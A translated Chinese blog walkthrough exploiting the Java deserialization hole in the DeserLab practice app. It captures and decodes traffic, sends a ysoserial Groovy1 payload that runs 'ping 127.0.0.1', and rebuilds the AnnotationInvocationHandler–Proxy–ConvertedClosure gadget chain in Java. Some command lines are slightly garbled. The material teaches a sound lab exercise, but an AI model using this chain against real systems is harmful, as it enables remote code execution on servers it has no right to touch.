导语:在尝试学习一些新的攻击技术时,有一个非常重要的定期提醒要向你说明,你所阅读的主题往往与实际的练习是不一样。这就是为什么动手练习你看过的东西总是一件好事情。在这篇博文中,我们将深入到现在已经存在的并且众所周知的Java反序列化
在尝试学习一些新的攻击技术时,有一个非常重要的定期提醒要向你说明,你所阅读的主题往往与实际的练习是不一样。这就是为什么动手练习你看过的东西总是一件好事情。在这篇博文中,我们将深入到现在已经存在的并且众所周知的Java反序列化的漏洞利用中去。动手练习的最大好处是,你可以真正的理解你阅读过的内容,并且可以根据自己的需要尝试改进。对于这篇博客文章,我们将尝试以下内容:
· 利用反序列化漏洞
· 动手创建我们自己的有效载荷
所以我们来理清一下我们要做的事情,第一步是使用当前已有的工具来实践序列化漏洞的利用,并理解我们所采取的方法。第二步是放大有效载荷的能量; 有效载荷究竟是什么?我们如何手工构建?最终的结果是充分了解这种漏洞是如何工作的,以及可以理解在将来可能会遇到类似的漏洞的方法。
我会提到整个博客文章中使用的所有工具,但至少你需要以下内容:
https://github.com/NickstaDB/DeserLab
这就是我们将要利用的反序列化模拟程序。之所以选择一个漏洞模拟程序的原因是因为我们可以控制它的各个方面,从而可以更好地理解反序列化漏洞的工作原理。
DeserLab中的反序列化漏洞利用
首先,请确保你已经阅读过介绍DeserLab 的一些博客文章,并理解了java反序列化的相关知识。这篇博客文章深入的解释了Java序列化协议。请注意,如果要继续阅读本章节,你将需要自己解决DeserLab的反序列漏洞利用的问题。对于本章节的其余部分,我们将使用预编译的jar文件进行演示,因此请确保从他的github中下载了这些文件。那么,我们现在就开始吧:
通常,我对于大多数问题的做法是首先去了解目标是如何以正常的方式运行的。对于DeserLab来说,意味着我们需要执行以下几个操作:
l 运行服务器和客户端
l 捕获流量
l 了解流量
要运行服务器和客户端,你可以使用以下命令:
java -jar DeserLab.jar -server 127.0.0.1 6666 java -jar DeserLab.jar -client 127.0.0.1 6666
执行上述命令后,会在控制台输出以下内容:
java -jar DeserLab.jar -server 127.0.0.1 6666 [+] DeserServer started, listening on 127.0.0.1:6666 [+] Connection accepted from 127.0.0.1:50410 [+] Sending hello... [+] Hello sent, waiting for hello from client... [+] Hello received from client... [+] Sending protocol version... [+] Version sent, waiting for version from client... [+] Client version is compatible, reading client name... [+] Client name received: testing [+] Hash request received, hashing: test [+] Hash generated: 098f6bcd4621d373cade4e832627b4f6 [+] Done, terminating connection. java -jar DeserLab.jar -client 127.0.0.1 6666 [+] DeserClient started, connecting to 127.0.0.1:6666 [+] Connected, reading server hello packet... [+] Hello received, sending hello to server... [+] Hello sent, reading server protocol version... [+] Sending supported protocol version to the server... [+] Enter a client name to send to the server: testing [+] Enter a string to hash: test [+] Generating hash of "test"... [+] Hash generated: 098f6bcd4621d373cade4e832627b4f6
上面的输出内容并不是我们要关注的重点,因为我们主要解决问题是“如何实现反序列化的?”。要回答这个问题,你可以使用wireshark,tcpdump或tshark捕获端口6666上的流量。要使用tcpdump捕获流量,可以执行以下命令:
tcpdump -i lo -n -w deserlab.pcap 'port 6666'
在进一步阅读之前,请确保使用wireshark浏览这个pcap文件。结合前面提到的Nick的博客文章里的操作,你应该就能够手动了解到底发生了什么,至少清楚了序列化Java对象来回传递的过程:
序列化数据的提取
现在我们已经非常清楚的了解了序列化数据传输的过程,接下来让我们开始了解实际传输的内容。而不是根据博客文章中提供的信息编写我自己的解析器,我决定使用SerializationDumper,以及jdeserialize,这些都是比较老但是功能依旧可用的工具。在我们可以使用这些工具之前,我们需要准备数据,所以让我们将pcap转换成可以分析的数据。
tshark -r deserlab.pcap -T fields -e tcp.srcport -e data -e tcp.dstport -E separator=, | grep -v ',,' | grep '^6666,' | cut -d',' -f2 | tr 'n' ':' | sed s/://g
命令看起来有点复杂。我们需要把它分解成我们可消化的小片段,这条命令所做的事情就是将pcap数据转换成一行十六进制编码的输出字符串。它所做的第一件事是将pcap转换成只包含传输的数据和TCP源和目标端口号表示的文本内容:
tshark -r deserlab.pcap -T fields -e tcp.srcport -e data -e tcp.dstport -E separator =,
输出结果看起来像下面这样:
50432,6666 6666,,50432 50432,6666 50432,aced0005,6666 6666,,50432 6666,aced0005,50432
在上面的代码片段中你可以看到,在TCP三次握手期间没有产生数据,注意“,,”部分。之后,客户端发送了由服务器确认的第一个字节,然后服务器也返回了一些字节等等。命令的第二部分将其转换为字符串,只需根据行开始处的端口选择有效载荷:
| grep -v',,'| grep'^ 6666,'| cut -d','-f2 | tr' n“:'| sed s /:// g
以上命令仅选择了服务器应答,如果你希望获取到客户端的数据那么你需要更改端口号。最终结果如下所示:
aced00057704f000baaa77020101737200146e622e64657365722e486 [...]
这就是我们可以使用的数据,因为它是一个比较纯粹的发送和接收的数据。我们使用这两个工具来分析一下,首先我们使用SerializationDumper,然后我们使用jdeserialize。之所以使用这两个工具,是因为这是一种很不错的做法(如果可能的话)——用不同的工具来分析潜在的错误或安全问题。如果你只是坚持使用一个工具,那么你可能会错过一些其他的东西。尝试不同工具也很有趣。;)
序列化数据分析
SerializationDumper使用起来非常的简单,因为你可以传递序列化数据的十六进制作为第一个参数,如下所示:
java -jar SerializationDumper-v1.0.jar aced00057704f000baaa77020101
执行后应该会输出类似于下面的内容:
STREAM_MAGIC - 0xac ed STREAM_VERSION - 0x00 05 Contents TC_BLOCKDATA - 0x77 Length - 4 - 0x04 Contents - 0xf000baaa TC_BLOCKDATA - 0x77 Length - 2 - 0x02 Contents - 0x0101 TC_OBJECT - 0x73 TC_CLASSDESC - 0x72 className Length - 20 - 0x00 14 Value - nb.deser.HashRequest - 0x6e622e64657365722e4861736852657175657374
如果我们要使用jdeserialize来分析相同的序列化数据,我们必须首先构建jdeserialize,你可以使用ant来构建提供的build.xml文件。我选择了手动编译,你可以通过以下命令实现:
mkdir build javac -d ./build/ src/* cd build jar cvf jdeserialize.jar *
上面应该会生成一个jar文件,我们可以使用它来进行测试,你可以像这样运行它,执行后应该会显示帮助信息:
java -cp jdeserialize.jar org.unsynchronized.jdeserialize
由于jdeserialize需要一个文件,我们可以转换序列化数据的十六进制表示形式,如python:
open('rawser.bin','wb').write('aced00057704f000baaa77020146636'.decode('hex'))
我们现在可以通过运行jdeserialize来分析这个文件,文件名作为第一个参数:
java -cp jdeserialize.jar org.unsynchronized.jdeserialize rawser.bin read: [blockdata 0x00: 4 bytes] read: [blockdata 0x00: 2 bytes] read: nb.deser.HashRequest _h0x7e0002 = r_0x7e0000; //// BEGIN stream content output [blockdata 0x00: 4 bytes] [blockdata 0x00: 2 bytes] nb.deser.HashRequest _h0x7e0002 = r_0x7e0000; //// END stream content output //// BEGIN class declarations (excluding array classes) class nb.deser.HashRequest implements java.io.Serializable { java.lang.String dataToHash; java.lang.String theHash; } //// END class declarations //// BEGIN instance dump [instance 0x7e0002: 0x7e0000/nb.deser.HashRequest field data: 0x7e0000/nb.deser.HashRequest: dataToHash: r0x7e0003: [String 0x7e0003: "test"] theHash: r0x7e0004: [String 0x7e0004: "098f6bcd4621d373cade4e832627b4f6"] ] //// END instance dump
我们从序列化数据分析工具的输出中了解到的第一件事就是它是序列化数据的事实,(这不是废话嘛):)。我们了解到的第二件事是,在客户端和服务器之间传输了一个对象“ nb.deser.HashRequest ”。如果我们将此分析结果与我们之前使用wireshark检查的结果结合在一起来看,我们可以发现用户名是以TC_BLOCKDATA类型的字符串形式进行发送的:
TC_BLOCKDATA - 0x77 Length - 9 - 0x09 Contents - 0x000774657374696e67 '000774657374696e67'.decode('hex') 'x00x07testing'
上面的分析让我们非常清楚的了解了DeserLab客户端和DeserLab服务器相互之间是如何进行通信的。现在我们来看看我们该如何利用ysoserial来利用反序列化漏洞。
DeserLab反序列化漏洞利用
由于我们已经对pcap文件进行了分析,所以我们对于服务端和客户端之间的通信细节以及序列化的数据有了一个比较清楚的认识。同时,我们可以用一些硬编码数据构建我们自己的python脚本,并将这个脚本嵌入ysoserial生成的有效载荷中。为了简单一些,并且能够与wirehark抓包抓到的流程相匹配,我决定动手实现和wirehark流程几乎完全一样的代码,如下:
mydeser = deser(myargs.targetip, myargs.targetport) mydeser.connect() mydeser.javaserial() mydeser.protohello() mydeser.protoversion() mydeser.clientname() mydeser.exploit(myargs.payloadfile)
你可以在这里找到完整的脚本。就像你所看到的,最简单的方法就是将所有的java反序列化交换的数据进行硬编码。你可能会想知道为什么在mydeser.clientname()函数后面出现mydeser.exploit(myargs.payloadfile),或许比这个问题更为重要的是我该如何决定这行代码放在哪里。我们来捋一捋我的思路,以及如何生成和发送ysoserial生成的有效载荷。
在阅读了几篇关于java反序列化的文章(在博客结尾处的引用)之后,我发现:大多数漏洞与Java对象的反序列化有关。
所以当我们查看信息交换的过程时,就会发现有一个地方交换了Java对象(据我所知)。这可以很容易地从序列化分析的输出中找到,因为它包含了“TC_OBJECT – 0x73”或
//// BEGIN stream content output [blockdata 0x00: 4 bytes] [blockdata 0x00: 2 bytes] [blockdata 0x00: 9 bytes] nb.deser.HashRequest _h0x7e0002 = r_0x7e0000; //// END stream content output
我们可以清楚地看到数据流的最后一部分是“ nb.deser.HashRequest ”对象。读取这个对象的地方也是交换过程的最后一部分,因此解释了为什么我自己写的代码中的最后一行代码是用来利用漏洞的。所以现在我们就知道了应该在哪里利用有效载荷,那么,我们又该如何选择,生成和发送有效载荷呢?
DeserLab本身的代码并没有真正包含任何有用的东西,我们可以通过修改序列化漏洞来进行利用。所以这就是为什么在下一章节“手动构建有效载荷”中,让我们接受这一点的原因。这也意味着我们必须寻找其他一些可能包含可以帮助到我们的代码库。在DeserLab中,只有一个Groovy的库可以利用,并且有可用的ysoserial有效载荷;)。不过你要记住,在真正攻击应用程序时,你可能需要自己来反编译未知的库,寻找有用的代码。
由于我们已经知道我们将要进行漏洞利用的库了,所以生成有效载荷就非常简单了:
java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' > payload.bin
要记住的一件重要的事情是,有效载荷的传递是盲目的,所以如果你想知道它是否能工作,通常需要一些方法来进行检测。现在ping到localhost就足够了,但是在现实世界中,你需要比这更有创意。
现在我们有了漏洞利用所需要的一切,你会认为这只是一个执行有效载荷的问题?没错,另外我们不要忘记,Java序列化头部的交换数据已经发生了改变。这意味着我们必须去掉有效负载的前四个字节并将其发送出去:
./deserlab_exploit.py 127.0.0.1 6666 payload_ping_localhost.bin 2017-09-07 22:58:05,401 - INFO - Connecting 2017-09-07 22:58:05,401 - INFO - java serialization handshake 2017-09-07 22:58:05,403 - INFO - protocol specific handshake 2017-09-07 22:58:05,492 - INFO - protocol specific version handshake 2017-09-07 22:58:05,571 - INFO - sending name of connected client 2017-09-07 22:58:05,571 - INFO - exploiting
如果一切顺利的话,你应该可以看到以下内容:
sudo tcpdump -i lo icmp tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes 22:58:06.215178 IP localhost > localhost: ICMP echo request, id 31636, seq 1, length 64 22:58:06.215187 IP localhost > localhost: ICMP echo reply, id 31636, seq 1, length 64 22:58:07.215374 IP localhost > localhost: ICMP echo request, id 31636, seq 2, length 64
从上面的结果来看,说明我们已经成功地利用了DeserLab中的Java反序列化漏洞。为了能更好地了解我们发送到DeserLab的有效载荷,我会在接下来的两个章节中进行详细描述。
手动构建有效载荷
要了解我们生成的有效载荷正在做的事情的最佳方法就是自己重建完全相同的有效载荷,这意味着我们要编写Java代码。但问题是我们从哪里开始?我们可以看看序列化的有效载荷,就像我们在看pcap时一样。下面的这行代码会将有效负载转换为十六进制的字符串,我们可以使用SerializationDumper进行分析,或者你可以使用jdeserialize来分析文件。
open('payload.bin','rb').read().encode('hex
所以让我们来详细的了解一下,在这个具体案例中,真的有必要去了解这一切是如何运作的。从侧面也能说明,当你搞清楚这一切之后,你总能找到已经描述了这些细节的博文,所以你可以阅读这篇文章来跳过这一部分。本章节的其余部分将侧重于使用我的方法。我的方法的主要也是在阅读了这个漏洞的ysoserial利用源码为基础的。我不会一直提到这点,我之所以能想出执行流程,那是因为我看过了ysoserial的实现过程。
通过这些工具放置有效载荷后,在这两种情况下,都会产生很多Java类。要注意第一个输出的类名 “sun.reflect.annotation.AnnotationInvocationHandler”。这个类可能看起来很熟悉,因为它似乎是很多反序列化漏洞入手的地方。 “ java.lang.reflect.Proxy ”,“org.codehaus.groovy.runtime.ConvertedClosure”和“org.codehaus.groovy.runtime.MethodClosure”这些类引起了我的注意。他们引起了我注意的原因是因为他们引用了我们用于漏洞利用的库,以及其他文章中已知的类来解释Java反序列化漏洞并与我在ysoserial源中看到的类是匹配的。
有一个重要的概念,你可能需要注意,事实上,当你执行反序列化攻击时,你发送了一个对象的“saved”状态。这意味着你完全依赖于接收方的行为,更具体地说,你依赖于“saved”状态反序列化时所采取的操作。这意味着如果对方不调用发送对象的任何方法,则不会执行远程代码。这就意味着你唯一的影响是设置你发送的对象的属性。
现在这个概念很清楚,如果我们要实现代码执行,我们发送的第一个类就应该有一个自动调用的方法,这就解释了为什么第一个类是如此特别。如果我们看看AnnotationInvocationHandler的代码,我们可以看到构造函数接受了一个java.util.map对象,并且readObject方法调用了Map对象上的一个方法。你可能从阅读其他文章就知道,当数据流被反序列化时,readObject会被自动调用。我们开始构建我们自己的漏洞利用代码,基于这些信息,并从多个其他文章(在本文末尾引用的部分中会提到)中借鉴了代码,我们创建了以下内容。如果你想了解代码的意思,请点击这里。
//this is the first class that will be deserialized String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler"; //access the constructor of the AnnotationInvocationHandler class final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0]; //normally the constructor is not accessible, so we need to make it accessible constructor.setAccessible(true);
这些代码通常会花费我好几个小时进行调试,同时我需要阅读很多我不知道的东西,如果你动手尝试编译的过程,你会学到很多。所以这里的代码段你可以直接编译:
//regular imports import java.io.IOException; //reflection imports import java.lang.reflect.Constructor; public class ManualPayloadGenerateBlog{ public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException { //this is the first class that will be deserialized String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler"; //access the constructor of the AnnotationInvocationHandler class final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0]; //normally the constructor is not accessible, so we need to make it accessible constructor.setAccessible(true); } }
你可以使用以下命令来编译和运行代码,即使它不会执行任何操作:
javac ManualPayloadGenerateBlog java ManualPayloadGenerateBlog
当你扩展此代码时,请记住以下内容:
l Google打印的错误代码
l 类名应该等于文件名
l 知道Java的帮助文档;)
上述代码使初始入口点类变得可用,构造函数也是可访问的,但是我们需要为构造函数提供哪些参数呢?大多数例子会有以下一些参数:
constructor.newInstance(Override.class, map);
我理解的'map'参数,就是在初始化readObject调用期间所调用的'entrySet'方法的对象。第一个参数我不是完全明白内部的工作原理,但主要的一点是在readObject方法内部进行了检查,以确保第一个参数的类型为“AnnotationType”。我们通过提供那种类型的buildin'Override'类来实现这一点。
现在我们要进入一个非常有趣的部分了,从'好有道理的样子'到'这是如何工作的!要真正理解,重要的是要意识到第二个参数是一个Java代理对象,而不是一个简单的Java Map对象。这是什么意思呢?至少这是我最初看到这个解释的反应。这篇文章对 Java动态代理做了很好的解释,并提供了很好的代码示例。下面是是文章的引用:
动态代理允许一个单一的类使用一个单一的方法来使用任意数量的方法将多个方法调用服务到任意类。动态代理可以被认为是一种 Facade,但可以被认为是任何接口的实现。深层的意思是说, 它将所有方法的调用路由到了单个处理程序 – invoke() 方法。
简单地说,我明白它的意思,它可以被看做是一个Java Map对象,然后将所有调用原始的Map对象方法路由到另一类的单一方法。通过下面的图片让我们看看我们迄今为止所了解的一些知识:
这意味着我们可以尝试用这样一个Map对象来扩展我们的源代码,例如:
final Map map = (Map) Proxy.newProxyInstance(ManualPayloadGenerateBlog.class.getClassLoader(), new Class[] {Map.class}, <unknown-invocationhandler>);
注意我们仍然需要适当的调用处理程序,但实际是并没有这样的处理程序。这是Groovy最适合的部分,因为直到现在我们仍然在常规的Java类里面。Groovy适合的原因是因为它有一个InvocationHandler。所以当InvocationHandler被调用时,最终会导致如下代码执行:
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure("ping 127.0.0.1", "execute"), "entrySet"); final Map map = (Map) Proxy.newProxyInstance(ManualPayloadGenerateBlog.class.getClassLoader(), new Class[] {Map.class}, closure);
就像你可以在上面的代码中看到的,我们现在终于把我们的调用处理程序作为ConvertedClosure对象执行了。你可以通过反编译Groovy库来确认这一点,当你看到ConvertedClosure类时,你会看到它扩展了ConversionHandler类,如果你反编译该类,你将看到:
public abstract class ConversionHandler implements InvocationHandler, Serializable
这个类实现了InvocationHandler接口,这就解释了为什么我们可以在Proxy对象中使用它。然而,我不明白一件事情,Groovy有效载荷是如何从Map代理调用到实际代码执行的。你可以使用反编译器来查看Groovy库,但是通常我会使用谷歌查询补充代码来阅读,这样我能更了解代码。在这种情况下,我搜索了我所想得到的一个关键词:
groovy execute shell command
上面的查询可能会让你在各种各样的网页上回答比如这个或这个。这实质上告诉我们,显然String对象有一个额外的方法是“execute”。我经常使用上述查询来处理我不熟悉的环境,因为执行shell命令通常是开发人员所需要的,并且通常可以在互联网上找到答案。这有助于我完整地了解这个有效载荷的工作原理,这在我看来可以表示为下面的流程图:
完整的源代码可以在这里找到。你可以像下面这样来编译和运行代码:
javac -cp DeserLab/DeserLab-v1.0/lib/groovy-all-2.3.9.jar ManualPayloadGenerate.java java -cp .:DeserLab/DeserLab-v1.0/lib/groovy-all-2.3.9.jar ManualPayloadGenerate > payload_manual.bin
当我们使用python 脚本进行漏洞利用时,它应该具有与ysoserial有效载荷完全相同的结果。令我惊讶的是,有效载荷甚至有着相同的哈希:
sha256sum payload_ping_localhost.bin payload_manual.bin 4c0420abc60129100e3601ba5426fc26d90f786ff7934fec38ba42e31cd58f07 payload_ping_localhost.bin 4c0420abc60129100e3601ba5426fc26d90f786ff7934fec38ba42e31cd58f07 payload_manual.bin
感谢你抽出宝贵的时间阅读本文,我希望这篇文章可以帮助你利用Java反序列化漏洞并且能更好地理解这种漏洞。
参考
https://www.sourceclear.com/registry/security/remote-code-execution-through-object-deserialization/java/sid-1710/technical
https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/
https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
http://gursevkalra.blogspot.nl/2016/01/ysoserial-commonscollections1-exploit.html
https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
https://www.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478
https://www.youtube.com/watch?v=VviY3O-euVQ
http://wouter.coekaerts.be/2015/annotationinvocationhandler
http://www.baeldung.com/java-dynamic-proxies
https://stackoverflow.com/questions/37068982/how-to-execute-shell-command-with-parameters-in-groovy
https://stackoverflow.com/questions/37628/what-is-reflection-and-why-is-it-useful